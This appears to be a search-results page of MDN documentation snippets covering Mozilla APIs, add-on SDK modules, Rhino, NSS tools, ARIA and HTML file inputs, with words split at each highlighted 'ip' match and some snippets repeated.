...of the string classes (since it imposes fewer requirements) and ns[c]string is a class derived from it. functions taking strings as parameters should generally take one of these four types. in order to avoid unnecessary copying of string data (which can have significant performance cost), the string classes support different ownersh
ip models. ...
... there are a number of additional string classes: classes which exist primarily as constructors for the other types, particularly nsdependent[c]string and ns...
...And 13 more matches
Components.utils.exportFunction
this function provides a safe way to expose a function from a privileged scope to a less-privileged scope. in this way privileged code, such as an extension, can share code with less-privileged code like a normal web page scr
ipt. a function exported from privileged to less-privileged code can be called from the less privileged code's context. the function has access to its surrounding closure just as if it were being called in the privileged context. the exported function does not have to be added to the less privileged code's global window object: it can be exported to any object in the target scope. exportfunction() is made available as a global in sandboxes which have the wantexporthelpers option set in the sandbox() constructor. this includes add-on sdk content scr
ipts. ...
...guments passed into the function are not cloned. instead, they are passed through to the privileged scope as xrays. ...
...ray for an object refers to the original, so any changes to the argument that are made in the exported function will affect the original object that was passed in: // privileged scope: for example, a content scr
ipt function changemyname(user) { user.name = "bill"; } exportfunction(changemyname, contentwindow, { defineas: "changemyname" }); // less-privileged scope: for example, a page scr
ipt var user = {name: "jim"}; var test = document.getelementbyid("test"); test.addeventlistener("click", function() { console.log(user.name); // "jim" window.changemyname(user); console.log(user.name); // "bill" }, false); note that this is subject to the normal rules of xrays: for example, an expando property added to a dom node will not be visible in the original obj...
...And 13 more matches
XPCOM
interfaces in xpcom are defined in a dialect of idl called xpidl. xpcom itself provides a set of core components and classes, e.g. file and memory management, threads, basic data structures (strings, arrays, variants), etc. the majority of xpcom components are not part of this core set and are provided by other parts of the platform (e.g. gecko or necko) or by an application or even by an extension. ...
..._addrefed in association with nscomptr allows you to assign in a pointer without addrefing it.binary compatibilityif mozilla decides to upgrade to a compiler that does not have the same abi as the current version, any built component may fail. it is a possiblity that is introduced when upgrading to a new compiler without recompiling everything. effectively, it is a different platform.bundling mult
iple binary componentsbinary xpcom components are sometimes required to implement low-level features for extensions. since binary components are linked against a single gecko sdk, a dependency to a particular version of gecko is created. if the component uses only "frozen" xpcom interfaces, there is a good chance the same binary component will work with different versions of gecko (version 1.8 and 1...
...eated. if the component uses only "frozen" xpcom interfaces, there is a good chance the same binary component will work with different versions of gecko (version 1.8 and 1.9, for example). the more likely case is that the component uses "unfrozen" interfaces and those interfaces can change between gecko versions. this can create a difficult situation for extension developers trying to support mult
iple gecko versions (firefox 2 and 3, for example).creating a python xpcom componentcreating applications with mozilla already provides a tutorial for making a simple javascr
ipt or c++ component (implementing the nsisimple interface). here is how to make the same component in python using pyxpcom.fun with xbl and xpconnectgenerating guidsguids are used in mozilla programming for identifying several ...
...And 13 more matches
HTML5 Parser - Developer guides
parser introduces these major improvements: you can now use svg and mathml inline in html5 pages, without xml namespace syntax. parsing is now done in a separate thread from firefox's main ui thread, improving overall browser responsiveness. calls to innerhtml are a lot faster. dozens of long-standing parser related bugs are now fixed. the html5 specification provides a more detailed descr
iption than previous html standards of how to turn a stream of bytes into a dom tree. this will result in more consistent behavior across browser implementations. in other words, in supporting html5, gecko, webkit, and internet explorer (ie) will behave more consistently with each other. changed parser behaviors some changes to the way that the gecko 2 parser behaves, as compared to earlier versio...
... insert content into the source stream. this behavior was inherently racy, as the content was inserted into a timing-dependent point in the source stream. if the call happened after the parser was done, the inserted content replaced the document. in ie, such calls are either ignored or imply a call to document.open(), replacing the document. ...
...ce stream. this behavior was inherently racy, as the content was inserted into a timing-dependent point in the source stream. if the call happened after the parser was done, the inserted content replaced the document. in ie, such calls are either ignored or imply a call to document.open(), replacing the document. ...
...And 13 more matches
Compiling from Rust to WebAssembly - WebAssembly
ode, you can compile it into webassembly (wasm). this tutorial takes you through all you need to know to compile a rust project to wasm and use it in an existing web app. rust and webassembly use cases there are two main use cases for rust and webassembly: to build an entire application -- an entire web app based in rust. to build a part of an application -- using rust in an existing javascr
ipt frontend. for now, the rust team is focusing on the latter case, and so that's what we cover here. for the former case, check out projects like yew. in this tutorial, we build an npm package using wasm-pack, a tool for building npm packages in rust. this package will contain only webassembly and javascr
ipt code, and so the users of the package won't need rust installed. they may not even noti...
...by default, it installs the latest stable rust release, which you can use for general rust development. rustup installs rustc, the rust compiler, as well as cargo, rust's package manager, rust-std, rust's standard libraries, and some helpful docs -- rust-docs. ...
...asm_bindgen] pub fn greet(name: &str) { alert(&format!("hello, {}!", name)); } this is the contents of our rust project. it has three main parts; let's talk about them in turn. we give a high-level explanation here, and gloss over some details; to learn more about rust, please check the free online book the rust programming language. using wasm-bindgen to communicate between rust and javascr
ipt the first part looks like this: use wasm_bindgen::prelude::*; libraries are called "crates" in rust. get it? cargo sh
ips crates. the third line contains a use command, which imports code from a library into your code. in this case, we're importing everything in the wasm_bindgen::prelude module. we use these features in the next section. before we move on to the next section, we should talk...
...And 13 more matches
Communicating using "postMessage" - Archive of obsolete content
as an alternative to port, content modules support the built-in message event. in most cases port is preferable to message events. however, the context-menu module does not support port, so to send messages from a content scr
ipt to the add-on via a context menu object, you must use message events. ...
... as an alternative to port, content modules support the built-in message event. in most cases port is preferable to message events. however, the context-menu module does not support port, so to send messages from a content scr
ipt to the add-on via a context menu object, you must use message events. ...
... as an alternative to port, content modules support the built-in message event. in most cases port is preferable to message events. however, the context-menu module does not support port, so to send messages from a content scr
ipt to the add-on via a context menu object, you must use message events. ...
...And 12 more matches
tabs - Archive of obsolete content
usage open a tab you can open a new tab, specifying various properties including location: var tabs = require("sdk/tabs"); tabs.open("http://www.example.com"); track tabs you can register event listeners to be notified when tabs open, close, finish loading dom content, or are made active or inactive: var tabs = require("sdk/tabs"); // listen for tab openings. tabs.on('open', function onopen(tab) { myopentabs.push(tab); }); // listen for tab content loads. tabs.on('ready', function(tab) { console.log('tab is loaded', tab.title, tab.url); }); access tabs the module itself can be used as a list of all opened tabs across all windows. ...
...", logactivate); tab.on("deactivate", logdeactivate); tab.on("close", logclose); } function logshow(tab) { console.log(tab.url + " is loaded"); } function logactivate(tab) { console.log(tab.url + " is activated"); } function logdeactivate(tab) { console.log(tab.url + " is deactivated"); } function logclose(tab) { console.log(tab.url + " is closed"); } tabs.on('open', onopen); man
ipulate a tab you can get and set various properties of tabs (but note that properties relating to the tab's content, such as the url, will not contain valid values until after the tab's ready event fires). by setting the url property you can load a new page in the tab: var tabs = require("sdk/tabs"); tabs.on('activate', function(tab) { tab.url = "http://www.example.com"; }); run scr
ipts in a t...
... various properties of tabs (but note that properties relating to the tab's content, such as the url, will not contain valid values until after the tab's ready event fires). ...
...And 12 more matches
Modifying the Page Hosted by a Tab - Archive of obsolete content
to follow this tutorial you'll need to have learned the basics of jpm. to modify the page hosted by a particular tab, load one or more content scr
ipts into it using attach() method of tab object. the job of these scr
ipts is to interact with web content. here's a simple example: var button = require("sdk/ui/button/action").actionbutton({ id: "style-tab", label: "style tab", icon: "./icon-16.png", onclick: function() { require("sdk/tabs").activetab.attach({ contentscr
ipt: 'document.body.style.border = "5px solid red";' }); } }); to run this example, save an icon file named "icon-16.png" in add-on's "data" directory. you could download this icon: . this add-on creates a button with mozilla favicon as an icon. it has a click handler which fetches the active tab a...
...click: function() { require("sdk/tabs").activetab.attach({ contentscr
ipt: 'document.body.style.border = "5px solid red";' }); } }); to run this example, save an icon file named "icon-16.png" in add-on's "data" directory. you could download this icon: . this add-on creates a button with mozilla favicon as an icon. it has a click handler which fetches the active tab and loads a scr
ipt into the page hosted by the active tab. the scr
ipt is specified using the contentscr
ipt option, and just draws a red border around the page. then open any web page in the browser window, and click the button . you should see a red border appear around the page, like this: keeping content scr
ipts in a separate file in the example above, we've passed in content scr
ipt as a string. unless scr...
...t into the page hosted by the active tab. the scr
ipt is specified using the contentscr
ipt option, and just draws a red border around the page. then open any web page in the browser window, and click the button . you should see a red border appear around the page, like this: keeping content scr
ipts in a separate file in the example above, we've passed in content scr
ipt as a string. unless scr
ipt is extremely simple, maintain the scr
ipt as a separate file in add-on's data directory. this makes the code easier to maintain, debug, and review. to do this, provide option contentscr
iptfile not contentscr
ipt, whose value is a url pointing to one or more content scr
ipt files. ...
...And 12 more matches
Chapter 2: Technologies used in developing extensions - Archive of obsolete content
ely used on the web. its structure is similar to that of the dynamic html used on some web pages, or the html applications used on windows. if you've had experience developing with dynamic html, you'll probably find it relatively easy to pick up the knowledge you'll need to develop firefox extensions. the role of each technology firefox is largely built using four technologies: xul, css, javascr
ipt, and xpcom. extensions are also built using these four technologies. figure 1: role of each technology in firefox in addition to these technologies, extension development will require you to learn about how to confer privileges to overcome security restrictions on code that you write, and how to embed your code into the firefox ui. these issues are discussed in chapter 5. the minimum knowl...
...est of brevity, i will omit explanations of widely understood technologies, and focus instead on introducing new technologies you will need to understand in order to develop for firefox. i will assume that you have experience developing with dynamic html, as well as the topics below. for more information on these technologies, please refer to other sources. xml coding css coding basic javascr
ipt syntax xml: a text-based structural language extensible markup language (xml) is a meta-language for expressing various kinds of data. it was specified in 1998 by w3c, the organization that sets standards for web-related technologies. it has a number of useful qualities: it is generic, extensible, and easy to validate as well-formed. some examples of xml-based markup languages include xhtml,...
...or each language. for example, even though xhtml and svg have elements with the same name, these can be distinguished. the namespace uri for xhtml is "http://www.w3.org/1999/xhtml" ; for svg is it "http://www.w3.org/2000/svg". css: a style language to alter the display of xml documents like xml, cascading style sheets (css) is a technical specification established by the w3c; it is a style-descr
iption language defining the display of data marked up in xml and html. as shown in listing 1, it has an extremely simple syntax. by separating the structure of the data, expressed through html or xml, and the display style, indicated by css, data can be reused better than it is when structural and stylistic markup are both embedded in html. there are three css specifications (level 1 through level...
...And 12 more matches
Getting started with XULRunner - Archive of obsolete content
there is an article with a more complicated approach to building xulrunner applications at creating xulrunner apps with the mozilla build system. if you need to change xulrunner itself or integrate it with external binaries you may need to read that article. ...
...ld system. if you need to change xulrunner itself or integrate it with external binaries you may need to read that article. step 1: download xulrunner you can find a download link on the main xulrunner page here on mdn. since we are not creating any binary xpcom components, we only need to download and install the xulrunner runtime package, not the sdk. the xulrunner download for windows is a z
ip file, not a true install. as a developer, i like the idea that xulrunner only needs to be unz
ipped onto my machine. i am assuming that it doesn't need to hook into my windows system and that's a good thing. it also means that the xulrunner is portable so, if you develop your applications to be portable you could carry them around on a flash drive or sync them in the cloud. the mac version of xul...
...ll assume that you have this installed in /library/frameworks. in ubuntu desktop and its variants (xubuntu, kubuntu, ...), from version 11.10 (oneiric ocelot), xulrunner is not longer maintained and doesn't exist in ubuntu repository. therefore, either you need to compile xulrunner manually or download a binary release from mozilla's ftp server. ...
...And 12 more matches
Archived Mozilla and build documentation - Archive of obsolete content
these articles are archived, obsolete documents about mozilla, gecko, and the process of building mozilla projects. activex control for hosting netscape plug-ins in ie microsoft has removed support for netscape plug-ins from ie 5.5 sp 2 and beyond. ...
...e archived, obsolete documents about mozilla, gecko, and the process of building mozilla projects. activex control for hosting netscape plug-ins in ie microsoft has removed support for netscape plug-ins from ie 5.5 sp 2 and beyond. ...
...nt scr
ipt to assemble an extension this ant scr
ipt helps to package an extension archived spidermonkey docs this section contains old spidermonkey documentation. autodial for windows nt this document is intended to explain how the autodial helper feature implemented for bug 93002 works and why it works that way. automated testing t
ips and tricks automatic mozilla configurator ankh8 automatically handle failed asserts in debug builds as of 2004-12-8, it is now possible to automatically handle failed asserts in debug builds of mozilla for windows. blackconnect blackwood bonsai it is a tool that lets you perform queries on the co...
...And 12 more matches
Processing XML with E4X - Archive of obsolete content
warning: e4x is obselete. it's been disabled by default for chrome in firefox 17, and completely removed in firefox 21. use domparser/domserializer or a non-native jxon algorithm instead. first introduced in javascr
ipt 1.6, e4x introduces a native xml object to the javascr
ipt language, and adds syntax for embedding literal xml documents in javascr
ipt code. a full definition of e4x can be found in the ecma-357 specification. this chapter provides a practical overview of the language; it is not a complete reference. compatibility issues prior to widespread browser support for the <scr
ipt> element, it was common for javascr
ipt embedded in a page to be surrounded by html comment tags to prevent <scr
ipt> unaware browsers from displaying javascr
ipt code to the user. this practice...
...r support for the <scr
ipt> element, it was common for javascr
ipt embedded in a page to be surrounded by html comment tags to prevent <scr
ipt> unaware browsers from displaying javascr
ipt code to the user. this practice is no longer necessary, but remains in some legacy code. for backwards compatibility, e4x defaults to ignoring comments and cdata sections. you can add an e4x=1 argument to your <scr
ipt> tag to disable this restriction: <scr
ipt type="text/javascr
ipt;e4x=1"> ... </scr
ipt> creating an xml object e4x offers two princ
ipal ways of creating an xml object. ...
...tibility, e4x defaults to ignoring comments and cdata sections. you can add an e4x=1 argument to your <scr
ipt> tag to disable this restriction: <scr
ipt type="text/javascr
ipt;e4x=1"> ... </scr
ipt> creating an xml object e4x offers two princ
ipal ways of creating an xml object. the first is to pass a string to the xml constructor: var languages = new xml('<languages type="dynamic"><lang>javascr
ipt</lang><lang>python</lang></languages>'); the second is to embed the xml directly in your scr
ipt, as an xml literal: var languages = <languages type="dynamic"> <lang>javascr
ipt</lang> <lang>python</lang> </languages>; in both cases, the resulting object will be an e4x xml object, which provides convenient syntax for both accessing and updating the encapsulated data. while the xml ob...
...And 12 more matches
Third-party APIs - Learn web development
bsites and services such as google maps, twitter, facebook, paypal, etc. provide apis allowing developers to make use of their data (e.g. displaying your twitter stream on your blog) or services (e.g. using facebook login to log in your users). this article looks at the difference between browser apis and 3rd party apis and shows some typical uses of the latter. prerequisites: javascr
ipt basics (see first steps, building blocks, javascr
ipt objects), the basics of client-side apis objective: to learn how third-party apis work, and how to use them to enhance your websites. what are third party apis? third party apis are apis provided by third parties -- generally companies such as facebook, twitter, or google -- to allow you to access their functionality via ja...
...one of the most obvious examples is using mapping apis to display custom maps on your pages. let's look at a simple mapquest api example, and use it to illustrate how third-party apis differ from browser apis. ...
...es. let's look at a simple mapquest api example, and use it to illustrate how third-party apis differ from browser apis. note: you might want to just get all our code examples at once, in which case you can then just search the repo for the example files you need in each section. they are found on third-party servers browser apis are built into the browser -- you can access them from javascr
ipt immediately. for example, the web audio api we saw in the introductory article is accessed using the native audiocontext object. for example: const audioctx = new audiocontext(); ... const audioelement = document.queryselector('audio'); ... const audiosource = audioctx.createmediaelementsource(audioelement); // etc. third party apis, on the other hand, are located on third party servers. t...
...And 12 more matches
Creating our first Vue component - Learn web development
previous overview: client-side javascr
ipt frameworks next now it's time to dive deeper into vue, and create our own custom component -- we'll start by creating a component to represent each item in the todo list. along the way, we'll learn about a few important concepts such as calling components inside other components, passing data to them via props, and saving data state. note: if you need to check your code against our version, you can find a finished version of the sample vue app code in our todo-vue repository. for a running live version, see https://mdn.github.io/todo-vue/dist/. prerequisites: familiarity with the core html, css, and javascr
ipt languages, knowledge of the terminal/command line. vue components are written as a combination of javascri...
... its state. creating a todoitem component let's create our first component, which will display a single todo item. we'll use this to build our list of todos. in your moz-todo-vue/src/components directory, create a new file named todoitem.vue. open the file in your code editor. create the component's template section by adding <template></template> to the top of the file. create a <scr
ipt></scr
ipt> section below your template section. inside the <scr
ipt> tags, add a default exported object export default {}, which is your component object. your file should now look like this: <template> </template> <scr
ipt> export default {}; </scr
ipt> we can now begin to add actual content to our todoitem. vue templates are currently only allowed a single root element -- one element needs ...
...low. <template> <div> <input type="checkbox" id="todo-item" checked="false" /> <label for="todo-item">my todo item</label> </div> </template> using todoitem inside our app this is all fine, but we haven't added the component to our app yet, so there's no way to test it and see if everything is working. let's add it now. open up app.vue again. ...
...And 12 more matches
Mozilla Web Developer FAQ
the unit (eg. 1.2em). the character to use between the property name and the value is the colon--not the equal sign. html markup, such as <style>, does not belong in .css files. font-face is not a real css property. the property is font-family and @font-face is an at-rule. if @import is used, it should be the first thing in a css file. css parsing errors are reported to the javascr
ipt console. is the server sending the proper content-type header for css style sheets? the correct type is text/css. in the standards mode and the almost standards mode only style sheets with the correct type are applied. you can see the http headers sent by the server by using the livehttpheaders extension or by using the web sniffer. class names and ids are case-sensitive.
...nline elements such as (by default) <span>. text-align: center; centers inline content within a block. it does not (and should not) center the block box itself. a block is centered by setting its margin-left and margin-right to auto and its width to a value that makes the block narrower than its containing block. it is also possible, although not very likely, that you are seeing a bug. javascr
ipt doesn't work! why? some proprietary document objects such as document.all and document.layers are not part of the w3c dom and are not supported in mozilla. (there is partial undetectable support for document.all, though, in newer versions of mozilla. however, that functionality only exists for compatibility with sites authored specifically for ie. you should not rely on mozilla's document.all s...
...la. (there is partial undetectable support for document.all, though, in newer versions of mozilla. however, that functionality only exists for compatibility with sites authored specifically for ie. you should not rely on mozilla's document.all support on new pages.) the method document.getelementbyid() can be used instead. in the standards mode mozilla does not generate implicit top-level javascr
ipt variable bindings for elements with the id or name attribute. the correct way to access an element by id is to call the document.getelementbyid() method with the id as a string as the argument. also, old client sniffers can shut out new browsers. the point of having a common api (the w3c dom) is interoperability, and checking for a particular browser defeats that purpose. when working with the ...
...And 12 more matches
AsyncTestUtils extended framework
the asynctestutils extended framework is one mechanism for testing the mailnews component of thunderbird. see mailnews automated testing for a descr
iption of the other testing mechanisms. boilerplate add the following code to the top of your test file to import everything you need: load("../../mailnews/resources/loghelper.js"); load("../../mailnews/resources/asynctestutils.js"); load("../../mailnews/resources/messagegenerator.js"); load("../../mailnews/resources/messagemodifier.js"); load("../../mailnews/resources/messageinjection.js"); if the directory where you are adding the tests does not have a head_*.js file that has the two following lines, add them at the top of your test file (before the lines shown above): load("../../mailnews/resources/maildirservice.js"); load("...
...nt loop or spin our own nested event loop. asynctestutils is currently implemented by the first method (yielding control to the top-level event loop). mozmill is an example of a testing framework that uses a nested event loop. in the future we will probably move the asynctestutils framework to a nested event loop in a backwards-compatible fashion. how does this affect my tests? thanks to javascr
ipt enhancements available on the mozilla platform, it is possible for a function to yield control in such a way that the function stops running at the line where you use a yield statement and resumes execution on the next line when resumed. this allows you to write reasonably normal looking functions instead of having to chain together a whole bunch of functions and callbacks. your test functions n...
....) if your set definition was {count: 3, age: {days: 7}, age_incr: {days: -1}}, then you would generate messages from 7, 6, and 5 days ago. subject: (automatically generated random subject) force all the messages to have the same subject you pass in. ...
...And 12 more matches
NSS tools : ssltab
it watches tcp connections and displays the data going by. if a connection is ssl, the data display includes interpreted ssl records and handshaking options -v print a version string for the tool. -h turn on hex/ascii printing. instead of outputting raw data, the command interprets each record as a numbered line of hex values, followed by the same data as ascii characters. the two parts are separated by a vertical bar. ...
...o the browser is not able to load images. to make the tool continue to accept connections, switch on looping mode with the -l option. the following examples show the output from commonly used combinations of options. ...
...ctions, switch on looping mode with the -l option. the following examples show the output from commonly used combinations of options. ...
...And 12 more matches
NSS tools : ssltap
it watches tcp connections and displays the data going by. if a connection is ssl, the data display includes interpreted ssl records and handshaking options -v print a version string for the tool. -h turn on hex/ascii printing. instead of outputting raw data, the command interprets each record as a numbered line of hex values, followed by the same data as ascii characters. the two parts are separated by a vertical bar. ...
...o the browser is not able to load images. to make the tool continue to accept connections, switch on looping mode with the -l option. the following examples show the output from commonly used combinations of options. ...
...ctions, switch on looping mode with the -l option. the following examples show the output from commonly used combinations of options. ...
...And 12 more matches
Rhino serialization
beginning with rhino 1.5 release 3 it is possible to serialize javascr
ipt objects, including functions and scr
ipts. however, serialization of code in compilation mode has some significant limitations. serialization provides a way to save the state of an object and write it out to a file or send it across a network connection. simple serialization example the rhino shell has two new top-level functions, serialize and deserialize. ...
... serialization of code in compilation mode has some significant limitations. serialization provides a way to save the state of an object and write it out to a file or send it across a network connection. simple serialization example the rhino shell has two new top-level functions, serialize and deserialize. ...
...e state of an object and write it out to a file or send it across a network connection. simple serialization example the rhino shell has two new top-level functions, serialize and deserialize. they're intended mainly as examples of the use of serialization: $ java org.mozilla.javascr
ipt.tools.shell.main js> function f() { return 3; } js> serialize(f, "f.ser") js> quit() $ java org.mozilla.javascr
ipt.tools.shell.main js> f = deserialize("f.ser") function f() { return 3;} js> f() 3 js> here we see a simple case of a function being serialized to a file and then read into a new instance of rhino and called. rhino serialization apis two new classes, scr
iptableoutputstream and scr
iptableinputstream, were introduced to handle serialization of rhino classes. these classes extend objectoutputstr...
...And 12 more matches
Rhino shell
the javascr
ipt shell provides a simple way to run scr
ipts in batch mode or an interactive environment for exploratory programming. invoking the shell java org.mozilla.javascr
ipt.tools.shell.main [options] scr
ipt-filename-or-url [scr
ipt-arguments] where options are: -e scr
ipt-source executes scr
ipt-source as a javascr
ipt scr
ipt. -f scr
ipt-filename-or-url reads scr
ipt-filename-or-url content and execute it as a javascr
ipt scr
ipt. -opt optlevel / -o optlevel optimizes at level optlevel, which must be -1 or an integer between 0 and 9. see rhino optimization for more details. -version versionnumber specifies the language version to compile with. the string versionnumber must be one of 100, 110, 120, 130, 140, 150, 160 or 170. ...
... -strict enable strict mode. -continuations enable experimental support for continuations and set the optimization level to -1 to force interpretation mode. starting with rhino 1.7 this options is no longer available. ...
...anguage versions. -strict enable strict mode. -continuations enable experimental support for continuations and set the optimization level to -1 to force interpretation mode. starting with rhino 1.7 this options is no longer available. note if the shell is invoked with the system property rhino.use_java_policy_security set to true and with a security manager installed, the shell restricts scr
ipts permissions based on their urls according to java policy settings. this is available only if jvm implements java2 security model. predefined properties scr
ipts executing in the shell have access to some additional properties of the top-level object. arguments the arguments object is an array containing the strings of all the arguments given at the command line when the shell was invoked. e...
...And 12 more matches
Building the WebLock UI
click to access the web lock interface. weblock indicator in browser user interface package list the user interface described in this section is comprised of four files: weblockoverlay.xul is the file that defines the little status icon in the browser. weblock.xul defines the web lock manager dialog. weblock.css provides style rules for both of the xul files. weblock.js provides javascr
ipt functions for both of the xul files. each of these files is described briefly in the sections below. in the following chapter we'll describe how you can take these files and create a package, an installable archive that includes the weblock component and the new ui. because this step (particularly the overlay section) is so dependent on mozilla, the chapter is divided up into a couple of diff...
...ion, xul, describes the xml-based user interface language (xul) and how you can use it to create a dialog that provides access to the weblock component and its services. the third section, overlaying new user interface into mozilla, describes how to create an overlay into the browser that will make this dialog accessible from a mozilla build. the overlay section, where we discuss how to import scr
ipts, images, and other resources from mozilla into your own ui, is by far the more complicated of the two. if the weblock component is being installed in mozilla or another gecko-based browser, then this third section shows you how to create the entry point in the browser for controlling the web locking. if you are planning on deploying the weblock component in some other application, you'll have ...
...ocking of the browser. first of all, it's important to be able to represent the basic state of the lock as soon as it's loaded. like the secure page icon, the weblock icon that appears in the lower right corner of the browser should indicate whether the browser is currently locked or unlocked. since the weblock component is always initialized as unlocked, we can have the client code - the javascr
ipt code in the interface - represent this state and track it as the user man
ipulates the iweblock interface. a boolean wlocked variable can do this: // initialize the wlocked variable as unlocked var wlocked = 0; then the functions that get called from the interface and call through to the lock and unlock methods of the weblock component must also adjust this variable accordingly: function wloc...
...And 12 more matches
nsIMsgHeaderParser
nsimsgheaderparser defined in comm-central/ mailnews/ mime/ public/ nsimsgheaderparser.idl mailnews/mime/public/nsimsgheaderparser.idlscr
iptable ??? add brief descr
iption of interface ??? inherits from: nsisupports last changed in gecko 1.9 (firefox 3) to create an instance, use: var msgheaderparser = components.classes["@mozilla.org/messenger/headerparser;1"] .createinstance(components.interfaces.nsimsgheaderparser); method overview string extractheaderaddressmailboxes(in string line); void extractheaderaddressname(in string line, out string name); void extractheaderaddressnames(in string line, out string usernames); astring makefulladdress(in astring aname, in astring aaddress); string makefulladdress...
...es, returns a comma-separated list of just the 'mailbox' portions. if any of the addresses doesn't have a mailbox, then the user name is used instead. autf8string extractheaderaddressmailboxes( in string line ); parameters line the header line to parse. return value a comma-separated list of just the mailbox parts of the addresses. exceptions thrown missing exception missing descr
iption native code only!extractheaderaddressnames given a string which contains a list of header addresses, returns a comma-separated list of just the 'user name' portions. if any of the addresses doesn't have a name, then the mailbox is used instead. autf8string extractheaderaddressnames( in string line ); parameters line the header line to parse. return value a comma-separated list...
...r addresses, returns a comma-separated list of just the 'user name' portions. if any of the addresses doesn't have a name, then the mailbox is used instead. autf8string extractheaderaddressnames( in string line ); parameters line the header line to parse. return value a comma-separated list of just the name parts of the addresses. ...
...And 12 more matches
EventTarget.addEventListener() - Web APIs
et.addeventlistener(type, listener [, usecapture, wantsuntrusted ]); // gecko/mozilla only parameters type a case-sensitive string representing the event type to listen for. listener the object that receives a notification (an object that implements the event interface) when an event of the specified type occurs. this must be an object implementing the eventlistener interface, or a javascr
ipt function. see the event listener callback for details on the callback itself. options optional an options object specifies characteristics about the event listener. the available options are: capture a boolean indicating that events of this type will be dispatched to the registered listener before being dispatched to any eventtarget beneath it in the dom tree. once a boolean indicati...
... are bubbling upward through the tree will not trigger a listener designated to use capture. event bubbling and capturing are two ways of propagating events that occur in an element that is nested within another element, when both elements have registered a handle for that event. the event propagation mode determines the order in which elements receive the event. see dom level 3 events and javascr
ipt event order for a detailed explanation. if not specified, usecapture defaults to false. note: for event listeners attached to the event target, the event is in the target phase, rather than the capturing and bubbling phases. events in the target phase will trigger all listeners on an element in the order they were registered, regardless of the usecapture parameter. note: usecapture has not ...
...y like modernizr or detect it to do this test for you. you can learn more from the article about eventlisteneroptions from the web incubator community group. examples add a simple listener this example demonstrates how to use addeventlistener() to watch for mouse clicks on an element. ...
...And 12 more matches
Using files from web applications - Web APIs
es. this selection can be done by either using an html <input type="file"> element or by drag and drop. if you want to use the dom file api from extensions or other browser chrome code, you can; however, note there are some additional features to be aware of. see using the dom file api in chrome code for details. accessing selected file(s) consider this html: <input type="file" id="input" mult
iple> the file api makes it possible to access a filelist containing file objects representing the files selected by the user. the mult
iple attribute on the input element allows the user to select mult
iple files. accessing the first selected file using a classical dom selector: const selectedfile = document.getelementbyid('input').files[0]; accessing selected file(s) on a change event it is al...
...ger. type the mime type of the file as a read-only string or "" if the type couldn't be determined. ...
...ze property: <!doctype html> <html> <head> <meta charset="utf-8"> <title>file(s) size</title> </head> <body> <form name="uploadform"> <div> <input id="uploadinput" type="file" name="myfiles" mult
iple> selected files: <span id="filenum">0</span>; total size: <span id="filesize">0</span> </div> <div><input type="submit" value="send file"></div> </form> <scr
ipt> function updatesize() { let nbytes = 0, ofiles = this.files, nfiles = ofiles.length; for (let nfileid = 0; nfileid < nfiles; nfileid++) { nbytes += ofiles[nfileid].size; } let soutput = nbytes + " bytes"; // optional code for mult
iples approximation const amult
iples = ["kib", "mib", "gib", "tib", "pib", "eib", "zib", "yib"]; for (nmult
iple = 0...
...And 12 more matches
ARIA live regions - Accessibility
while these changes are usually visually apparent to users who can see the page, they may not be obvious to users of assistive technologies. aria live regions fill this gap and provide a way to programmatically expose dynamic content changes in a way that can be announced by assistive technologies. note: assistive technologies will announce dynamic changes in the content of a live region. ...
...n be announced by assistive technologies. note: assistive technologies will announce dynamic changes in the content of a live region. including an aria-live attribute or a specialized live region role (such as role="alert") on the element you want to announce changes to works as long as you add the attribute before the changes occur -- either in the original markup, or dynamically using javascr
ipt. simple live regions dynamic content which updates without a page reload is generally either a region or a widget. simple content changes which are not interactive should be marked as live regions. below is a list of each related aria live region property with a descr
iption. aria-live: the aria-live=politeness_setting is used to set the priority with which screen reader should treat update...
...ness_setting is used to set the priority with which screen reader should treat updates to live regions - the possible settings are: off, polite or assertive. the default setting is off. this attribute is by far the most important. aria-controls: the aria-controls=[idlist] is used to associate a control with the regions that it controls. regions are identified just like an id in a div, and mult
iple regions can be associated with a control using a space, e.g. aria-controls="myregionid1 myregionsid2". not known if the aria-controls aspect of live regions is implemented in current ats, or which. needs research. normally, only aria-live="polite" is used. any region which receives updates that are important for the user to receive, but not so rapid as to be annoying, should receive this...
...And 12 more matches
ARIA Test Cases - Accessibility
expected at behavior: when focus falls on a button, a screen reader speaks the text of the button plus alternative text of any images within the button (the accessible name of the button). the word "button" is also spoken before or after the accessible name. markup used: notes: results: at firefox ...
...: at firefox ie opera safari jaws 9 - - n/a n/a jaws 10 - - - voiceover (leopard) n/a n/a - fail window-eyes - - - - nvda - n/a - - zoom (leopard) pass n/a pass pass zoomtext - - - - orca - - - - descr
iption descr
iption for groupbox and for button (al) note: the descr
iption role is no longer necessary as long as aria-describedby is used; however, this test case is still useful for testing aria-describedby. expected at behavior: when any control is focused inside the groupbox, where focus was previously outside of the groupbox, the descr
iption for the entire groupbox should be read by a s...
...l) note: the descr
iption role is no longer necessary as long as aria-describedby is used; however, this test case is still useful for testing aria-describedby. expected at behavior: when any control is focused inside the groupbox, where focus was previously outside of the groupbox, the descr
iption for the entire groupbox should be read by a screen reader. when the button is focused, the descr
iption of the button should be read after the button's label and role are read by the screen reader. regression testers should test both tabbing forward and back, to make sure that the groupbox descr
iption and button descr
iption are both read when the button is the first item focused in the groupbox. (al) alternatively, descr
iption are not read automatically but may be accessible from a hotkey. ho...
...And 12 more matches
<input type="file"> - HTML: Hypertext Markup Language
<input> elements with type="file" let the user choose one or more files from their device storage. once chosen, the files can be uploaded to a server using form submission, or man
ipulated using javascr
ipt code and the file api. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. value a domstring representing the path to the selected file. ...
...red in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. value a domstring representing the path to the selected file. ...
...nal attributes accept, capture, files, mult
iple idl attributes files and value dom interface htmlinputelement properties properties that apply only to elements of type file methods select() value a file input's value attribute contains a domstring that represents the path to the selected file(s). if the user selected mult
iple files, the value represents the first file in the list of files they selected. the other files can be identified using the input's htmlinputelement.files property. note: if mult
iple files are selected, the string represents the first selected file. javascr
ipt can access the other files through the input's files property. if no file is yet selected, the string is "" (empty). the string is ...
...And 12 more matches
An overview of HTTP - HTTP
clients and servers communicate by exchanging individual messages (as opposed to a stream of data). ...
... clients and servers communicate by exchanging individual messages (as opposed to a stream of data). ...
... clients and servers communicate by exchanging individual messages (as opposed to a stream of data). ...
...And 12 more matches
Appendix E: DOM Building and Insertion (HTML & XUL) - Archive of obsolete content
building dom trees in most cases, dom trees should be built exclusively with dom creation methods. the following methods will all safely create a dom tree without risk of remote execution. ...
